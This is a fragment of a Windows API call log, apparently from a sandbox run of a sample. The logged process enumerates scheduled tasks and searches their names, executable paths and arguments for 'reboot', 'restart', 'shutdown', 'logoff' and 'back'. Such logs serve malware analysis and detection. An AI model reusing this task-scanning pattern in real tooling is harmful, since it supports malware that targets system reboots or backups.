	[0072.006] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9a0) returned 0x0
	[0072.006] IRegisteredTask:get_Name (in: This=0x19a9a0, pName=0x43af860 | out: pName=0x43af860*="SpaceManagerTask") returned 0x0
	[0072.006] IRegisteredTask:get_State (in: This=0x19a9a0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0072.113] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2878188
	[0072.113] wcsstr (_Str="spacemanagertask", _SubStr="reboot") returned 0x0
	[0072.113] wcsstr (_Str="spacemanagertask", _SubStr="restart") returned 0x0
	[0072.113] wcsstr (_Str="spacemanagertask", _SubStr="shutdown") returned 0x0
	[0072.113] wcsstr (_Str="spacemanagertask", _SubStr="logoff") returned 0x0
	[0072.113] wcsstr (_Str="spacemanagertask", _SubStr="back") returned 0x0
	[0072.113] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878188) returned 1
	[0072.113] IRegisteredTask:get_Definition (in: This=0x19a9a0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aa10) returned 0x0
	[0072.121] ITaskDefinition:get_Actions (in: This=0x19aa10, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa60) returned 0x0
	[0072.121] IActionCollection:get_Count (in: This=0x19aa60, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0072.121] IActionCollection:get_Item (in: This=0x19aa60, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bcd0) returned 0x0
	[0072.121] IAction:get_Type (in: This=0x19bcd0, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0072.121] IUnknown:QueryInterface (in: This=0x19bcd0, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19bcd0) returned 0x0
	[0072.122] IExecAction:get_Path (in: This=0x19bcd0, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\spaceman.exe") returned 0x0
	[0072.122] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x3e) returned 0x2873e28
	[0072.122] wcsstr (_Str="%windir%\\system32\\spaceman.exe", _SubStr="reboot") returned 0x0
	[0072.122] wcsstr (_Str="%windir%\\system32\\spaceman.exe", _SubStr="restart") returned 0x0
	[0072.122] wcsstr (_Str="%windir%\\system32\\spaceman.exe", _SubStr="shutdown") returned 0x0
	[0072.122] wcsstr (_Str="%windir%\\system32\\spaceman.exe", _SubStr="logoff") returned 0x0
	[0072.122] wcsstr (_Str="%windir%\\system32\\spaceman.exe", _SubStr="back") returned 0x0
	[0072.122] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2873e28) returned 1
	[0072.122] IExecAction:get_Arguments (in: This=0x19bcd0, pArgument=0x43af858 | out: pArgument=0x43af858*="/Work") returned 0x0
	[0072.122] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xc) returned 0x287b328
	[0072.122] wcsstr (_Str="/work", _SubStr="reboot") returned 0x0
	[0072.122] wcsstr (_Str="/work", _SubStr="restart") returned 0x0
	[0072.122] wcsstr (_Str="/work", _SubStr="shutdown") returned 0x0
	[0072.122] wcsstr (_Str="/work", _SubStr="logoff") returned 0x0
	[0072.122] wcsstr (_Str="/work", _SubStr="back") returned 0x0
	[0072.122] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b328) returned 1
	[0072.122] IUnknown:Release (This=0x19bcd0) returned 0x2
	[0072.122] IUnknown:Release (This=0x19bcd0) returned 0x1
	[0072.122] IUnknown:Release (This=0x19aa60) returned 0x1
	[0072.122] IUnknown:Release (This=0x19aa10) returned 0x0
	[0072.122] IUnknown:Release (This=0x19a9a0) returned 0x0
	[0072.122] IUnknown:Release (This=0x19a940) returned 0x0
	[0072.122] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19cad8) returned 0x0
	[0072.123] ITaskFolderCollection:get_Count (in: This=0x19cad8, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.123] IUnknown:Release (This=0x19cad8) returned 0x0
	[0072.123] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0072.123] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3f, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0072.123] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19cb98) returned 0x0
	[0072.124] IRegisteredTaskCollection:get_Count (in: This=0x19cb98, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0072.124] IRegisteredTaskCollection:get_Item (in: This=0x19cb98, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aa18) returned 0x0
	[0072.124] IRegisteredTask:get_Name (in: This=0x19aa18, pName=0x43af860 | out: pName=0x43af860*="SpeechModelDownloadTask") returned 0x0
	[0072.124] IRegisteredTask:get_State (in: This=0x19aa18, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0072.315] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x30) returned 0x2881be8
	[0072.315] wcsstr (_Str="speechmodeldownloadtask", _SubStr="reboot") returned 0x0
	[0072.315] wcsstr (_Str="speechmodeldownloadtask", _SubStr="restart") returned 0x0
	[0072.315] wcsstr (_Str="speechmodeldownloadtask", _SubStr="shutdown") returned 0x0
	[0072.315] wcsstr (_Str="speechmodeldownloadtask", _SubStr="logoff") returned 0x0
	[0072.315] wcsstr (_Str="speechmodeldownloadtask", _SubStr="back") returned 0x0
	[0072.315] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881be8) returned 1
	[0072.315] IRegisteredTask:get_Definition (in: This=0x19aa18, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19ab00) returned 0x0
	[0072.323] ITaskDefinition:get_Actions (in: This=0x19ab00, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19ab50) returned 0x0
	[0072.323] IActionCollection:get_Count (in: This=0x19ab50, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0072.323] IActionCollection:get_Item (in: This=0x19ab50, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ac08) returned 0x0
	[0072.323] IAction:get_Type (in: This=0x19ac08, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0072.323] IUnknown:QueryInterface (in: This=0x19ac08, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19ac08) returned 0x0
	[0072.323] IExecAction:get_Path (in: This=0x19ac08, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\speech_onecore\\common\\SpeechModelDownload.exe") returned 0x0
	[0072.323] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x80) returned 0x28ba298
	[0072.323] wcsstr (_Str="%windir%\\system32\\speech_onecore\\common\\speechmodeldownload.exe", _SubStr="reboot") returned 0x0
	[0072.323] wcsstr (_Str="%windir%\\system32\\speech_onecore\\common\\speechmodeldownload.exe", _SubStr="restart") returned 0x0
	[0072.323] wcsstr (_Str="%windir%\\system32\\speech_onecore\\common\\speechmodeldownload.exe", _SubStr="shutdown") returned 0x0
	[0072.323] wcsstr (_Str="%windir%\\system32\\speech_onecore\\common\\speechmodeldownload.exe", _SubStr="logoff") returned 0x0
	[0072.323] wcsstr (_Str="%windir%\\system32\\speech_onecore\\common\\speechmodeldownload.exe", _SubStr="back") returned 0x0
	[0072.323] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28ba298) returned 1
	[0072.323] IExecAction:get_Arguments (in: This=0x19ac08, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0072.323] IUnknown:Release (This=0x19ac08) returned 0x2
	[0072.323] IUnknown:Release (This=0x19ac08) returned 0x1
	[0072.323] IUnknown:Release (This=0x19ab50) returned 0x1
	[0072.323] IUnknown:Release (This=0x19ab00) returned 0x0
	[0072.323] IUnknown:Release (This=0x19aa18) returned 0x0
	[0072.324] IUnknown:Release (This=0x19cb98) returned 0x0
	[0072.324] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19ca18) returned 0x0
	[0072.324] ITaskFolderCollection:get_Count (in: This=0x19ca18, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.324] IUnknown:Release (This=0x19ca18) returned 0x0
	[0072.324] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0072.324] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x40, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b2c8) returned 0x0
	[0072.324] ITaskFolder:GetTasks (in: This=0x19b2c8, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19cd78) returned 0x0
	[0072.325] IRegisteredTaskCollection:get_Count (in: This=0x19cd78, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0072.326] IRegisteredTaskCollection:get_Item (in: This=0x19cd78, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b318) returned 0x0
	[0072.326] IRegisteredTask:get_Name (in: This=0x19b318, pName=0x43af860 | out: pName=0x43af860*="Storage Tiers Management Initialization") returned 0x0
	[0072.326] IRegisteredTask:get_State (in: This=0x19b318, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0072.326] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x50) returned 0x2854a60
	[0072.326] wcsstr (_Str="storage tiers management initialization", _SubStr="reboot") returned 0x0
	[0072.326] wcsstr (_Str="storage tiers management initialization", _SubStr="restart") returned 0x0
	[0072.326] wcsstr (_Str="storage tiers management initialization", _SubStr="shutdown") returned 0x0
	[0072.326] wcsstr (_Str="storage tiers management initialization", _SubStr="logoff") returned 0x0
	[0072.326] wcsstr (_Str="storage tiers management initialization", _SubStr="back") returned 0x0
	[0072.326] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2854a60) returned 1
	[0072.326] IRegisteredTask:get_Definition (in: This=0x19b318, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b440) returned 0x0
	[0072.488] ITaskDefinition:get_Actions (in: This=0x19b440, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b490) returned 0x0
	[0072.488] IActionCollection:get_Count (in: This=0x19b490, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0072.488] IActionCollection:get_Item (in: This=0x19b490, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b548) returned 0x0
	[0072.488] IAction:get_Type (in: This=0x19b548, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0072.488] IUnknown:Release (This=0x19b548) returned 0x1
	[0072.488] IUnknown:Release (This=0x19b490) returned 0x1
	[0072.488] IUnknown:Release (This=0x19b440) returned 0x0
	[0072.488] IUnknown:Release (This=0x19b318) returned 0x0
	[0072.488] IRegisteredTaskCollection:get_Item (in: This=0x19cd78, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a940) returned 0x0
	[0072.489] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af860 | out: pName=0x43af860*="Storage Tiers Optimization") returned 0x0
	[0072.489] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0072.489] IUnknown:Release (This=0x19a940) returned 0x0
	[0072.489] IUnknown:Release (This=0x19cd78) returned 0x0
	[0072.489] ITaskFolder:GetFolders (in: This=0x19b2c8, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19cd18) returned 0x0
	[0072.604] ITaskFolderCollection:get_Count (in: This=0x19cd18, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.604] IUnknown:Release (This=0x19cd18) returned 0x0
	[0072.604] TaskScheduler:IUnknown:Release (This=0x19b2c8) returned 0x0
	[0072.604] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0072.604] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19cb38) returned 0x0
	[0072.605] IRegisteredTaskCollection:get_Count (in: This=0x19cb38, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0072.605] IUnknown:Release (This=0x19cb38) returned 0x0
	[0072.605] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19d078) returned 0x0
	[0072.606] ITaskFolderCollection:get_Count (in: This=0x19d078, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.606] IUnknown:Release (This=0x19d078) returned 0x0
	[0072.606] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0072.606] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x42, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0072.606] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19cb98) returned 0x0
	[0072.607] IRegisteredTaskCollection:get_Count (in: This=0x19cb98, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0072.607] IUnknown:Release (This=0x19cb98) returned 0x0
	[0072.607] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19cef8) returned 0x0
	[0072.607] ITaskFolderCollection:get_Count (in: This=0x19cef8, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.607] IUnknown:Release (This=0x19cef8) returned 0x0
	[0072.607] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0072.607] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x43, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0072.607] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19cfb8) returned 0x0
	[0072.609] IRegisteredTaskCollection:get_Count (in: This=0x19cfb8, pCount=0x43af854 | out: pCount=0x43af854*=4) returned 0x0
	[0072.609] IRegisteredTaskCollection:get_Item (in: This=0x19cfb8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19ae20) returned 0x0
	[0072.609] IRegisteredTask:get_Name (in: This=0x19ae20, pName=0x43af860 | out: pName=0x43af860*="HybridDriveCachePrepopulate") returned 0x0
	[0072.609] IRegisteredTask:get_State (in: This=0x19ae20, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0072.610] IUnknown:Release (This=0x19ae20) returned 0x0
	[0072.610] IRegisteredTaskCollection:get_Item (in: This=0x19cfb8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19ae20) returned 0x0
	[0072.610] IRegisteredTask:get_Name (in: This=0x19ae20, pName=0x43af860 | out: pName=0x43af860*="HybridDriveCacheRebalance") returned 0x0
	[0072.610] IRegisteredTask:get_State (in: This=0x19ae20, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0072.611] IUnknown:Release (This=0x19ae20) returned 0x0
	[0072.611] IRegisteredTaskCollection:get_Item (in: This=0x19cfb8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19ae20) returned 0x0
	[0072.611] IRegisteredTask:get_Name (in: This=0x19ae20, pName=0x43af860 | out: pName=0x43af860*="ResPriStaticDbSync") returned 0x0
	[0072.611] IRegisteredTask:get_State (in: This=0x19ae20, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0072.611] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878038
	[0072.612] wcsstr (_Str="respristaticdbsync", _SubStr="reboot") returned 0x0
	[0072.612] wcsstr (_Str="respristaticdbsync", _SubStr="restart") returned 0x0
	[0072.612] wcsstr (_Str="respristaticdbsync", _SubStr="shutdown") returned 0x0
	[0072.612] wcsstr (_Str="respristaticdbsync", _SubStr="logoff") returned 0x0
	[0072.612] wcsstr (_Str="respristaticdbsync", _SubStr="back") returned 0x0
	[0072.612] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878038) returned 1
	[0072.612] IRegisteredTask:get_Definition (in: This=0x19ae20, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b2c8) returned 0x0
	[0072.619] ITaskDefinition:get_Actions (in: This=0x19b2c8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b318) returned 0x0
	[0072.619] IActionCollection:get_Count (in: This=0x19b318, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0072.619] IActionCollection:get_Item (in: This=0x19b318, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b3d0) returned 0x0
	[0072.619] IAction:get_Type (in: This=0x19b3d0, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0072.619] IUnknown:Release (This=0x19b3d0) returned 0x1
	[0072.619] IUnknown:Release (This=0x19b318) returned 0x1
	[0072.620] IUnknown:Release (This=0x19b2c8) returned 0x0
	[0072.620] IUnknown:Release (This=0x19ae20) returned 0x0
	[0072.620] IRegisteredTaskCollection:get_Item (in: This=0x19cfb8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19ae20) returned 0x0
	[0072.620] IRegisteredTask:get_Name (in: This=0x19ae20, pName=0x43af860 | out: pName=0x43af860*="WsSwapAssessmentTask") returned 0x0
	[0072.620] IRegisteredTask:get_State (in: This=0x19ae20, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0072.620] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2882048
	[0072.620] wcsstr (_Str="wsswapassessmenttask", _SubStr="reboot") returned 0x0
	[0072.620] wcsstr (_Str="wsswapassessmenttask", _SubStr="restart") returned 0x0
	[0072.620] wcsstr (_Str="wsswapassessmenttask", _SubStr="shutdown") returned 0x0
	[0072.620] wcsstr (_Str="wsswapassessmenttask", _SubStr="logoff") returned 0x0
	[0072.620] wcsstr (_Str="wsswapassessmenttask", _SubStr="back") returned 0x0
	[0072.620] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0072.620] IRegisteredTask:get_Definition (in: This=0x19ae20, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b2c8) returned 0x0
	[0072.627] ITaskDefinition:get_Actions (in: This=0x19b2c8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b318) returned 0x0
	[0072.627] IActionCollection:get_Count (in: This=0x19b318, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0072.627] IActionCollection:get_Item (in: This=0x19b318, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b3d0) returned 0x0
	[0072.627] IAction:get_Type (in: This=0x19b3d0, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0072.627] IUnknown:QueryInterface (in: This=0x19b3d0, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19b3d0) returned 0x0
	[0072.627] IExecAction:get_Path (in: This=0x19b3d0, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\rundll32.exe") returned 0x0
	[0072.627] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x3e) returned 0x2873ba0
	[0072.628] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0
	[0072.628] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0
	[0072.628] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0
	[0072.628] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0
	[0072.628] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="back") returned 0x0
	[0072.628] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2873ba0) returned 1
	[0072.628] IExecAction:get_Arguments (in: This=0x19b3d0, pArgument=0x43af858 | out: pArgument=0x43af858*="sysmain.dll,PfSvWsSwapAssessmentTask") returned 0x0
	[0072.628] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4a) returned 0x285c538
	[0072.628] wcsstr (_Str="sysmain.dll,pfsvwsswapassessmenttask", _SubStr="reboot") returned 0x0
	[0072.628] wcsstr (_Str="sysmain.dll,pfsvwsswapassessmenttask", _SubStr="restart") returned 0x0
	[0072.628] wcsstr (_Str="sysmain.dll,pfsvwsswapassessmenttask", _SubStr="shutdown") returned 0x0
	[0072.628] wcsstr (_Str="sysmain.dll,pfsvwsswapassessmenttask", _SubStr="logoff") returned 0x0
	[0072.628] wcsstr (_Str="sysmain.dll,pfsvwsswapassessmenttask", _SubStr="back") returned 0x0
	[0072.628] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x285c538) returned 1
	[0072.628] IUnknown:Release (This=0x19b3d0) returned 0x2
	[0072.628] IUnknown:Release (This=0x19b3d0) returned 0x1
	[0072.628] IUnknown:Release (This=0x19b318) returned 0x1
	[0072.628] IUnknown:Release (This=0x19b2c8) returned 0x0
	[0072.628] IUnknown:Release (This=0x19ae20) returned 0x0
	[0072.628] IUnknown:Release (This=0x19cfb8) returned 0x0
	[0072.628] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19ce38) returned 0x0
	[0072.629] ITaskFolderCollection:get_Count (in: This=0x19ce38, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.629] IUnknown:Release (This=0x19ce38) returned 0x0
	[0072.629] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0072.629] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0072.629] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19ce38) returned 0x0
	[0072.629] IRegisteredTaskCollection:get_Count (in: This=0x19ce38, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0072.630] IRegisteredTaskCollection:get_Item (in: This=0x19ce38, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b2c8) returned 0x0
	[0072.630] IRegisteredTask:get_Name (in: This=0x19b2c8, pName=0x43af860 | out: pName=0x43af860*="SR") returned 0x0
	[0072.630] IRegisteredTask:get_State (in: This=0x19b2c8, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0072.630] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x6) returned 0x28b9848
	[0072.630] wcsstr (_Str="sr", _SubStr="reboot") returned 0x0
	[0072.630] wcsstr (_Str="sr", _SubStr="restart") returned 0x0
	[0072.630] wcsstr (_Str="sr", _SubStr="shutdown") returned 0x0
	[0072.630] wcsstr (_Str="sr", _SubStr="logoff") returned 0x0
	[0072.630] wcsstr (_Str="sr", _SubStr="back") returned 0x0
	[0072.630] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28b9848) returned 1
	[0072.630] IRegisteredTask:get_Definition (in: This=0x19b2c8, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b390) returned 0x0
	[0072.727] ITaskDefinition:get_Actions (in: This=0x19b390, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b3e0) returned 0x0
	[0072.727] IActionCollection:get_Count (in: This=0x19b3e0, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0072.727] IActionCollection:get_Item (in: This=0x19b3e0, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b690) returned 0x0
	[0072.727] IAction:get_Type (in: This=0x19b690, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0072.727] IUnknown:QueryInterface (in: This=0x19b690, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19b690) returned 0x0
	[0072.727] IExecAction:get_Path (in: This=0x19b690, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\srtasks.exe") returned 0x0
	[0072.728] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x3c) returned 0x2873d50
	[0072.728] wcsstr (_Str="%windir%\\system32\\srtasks.exe", _SubStr="reboot") returned 0x0
	[0072.728] wcsstr (_Str="%windir%\\system32\\srtasks.exe", _SubStr="restart") returned 0x0
	[0072.728] wcsstr (_Str="%windir%\\system32\\srtasks.exe", _SubStr="shutdown") returned 0x0
	[0072.728] wcsstr (_Str="%windir%\\system32\\srtasks.exe", _SubStr="logoff") returned 0x0
	[0072.728] wcsstr (_Str="%windir%\\system32\\srtasks.exe", _SubStr="back") returned 0x0
	[0072.728] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2873d50) returned 1
	[0072.728] IExecAction:get_Arguments (in: This=0x19b690, pArgument=0x43af858 | out: pArgument=0x43af858*="ExecuteScheduledSPPCreation") returned 0x0
	[0072.728] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x38) returned 0x286fc88
	[0072.728] wcsstr (_Str="executescheduledsppcreation", _SubStr="reboot") returned 0x0
	[0072.728] wcsstr (_Str="executescheduledsppcreation", _SubStr="restart") returned 0x0
	[0072.728] wcsstr (_Str="executescheduledsppcreation", _SubStr="shutdown") returned 0x0
	[0072.728] wcsstr (_Str="executescheduledsppcreation", _SubStr="logoff") returned 0x0
	[0072.728] wcsstr (_Str="executescheduledsppcreation", _SubStr="back") returned 0x0
	[0072.728] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fc88) returned 1
	[0072.728] IUnknown:Release (This=0x19b690) returned 0x2
	[0072.728] IUnknown:Release (This=0x19b690) returned 0x1
	[0072.728] IUnknown:Release (This=0x19b3e0) returned 0x1
	[0072.728] IUnknown:Release (This=0x19b390) returned 0x0
	[0072.728] IUnknown:Release (This=0x19b2c8) returned 0x0
	[0072.728] IUnknown:Release (This=0x19ce38) returned 0x0
	[0072.728] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19cdd8) returned 0x0
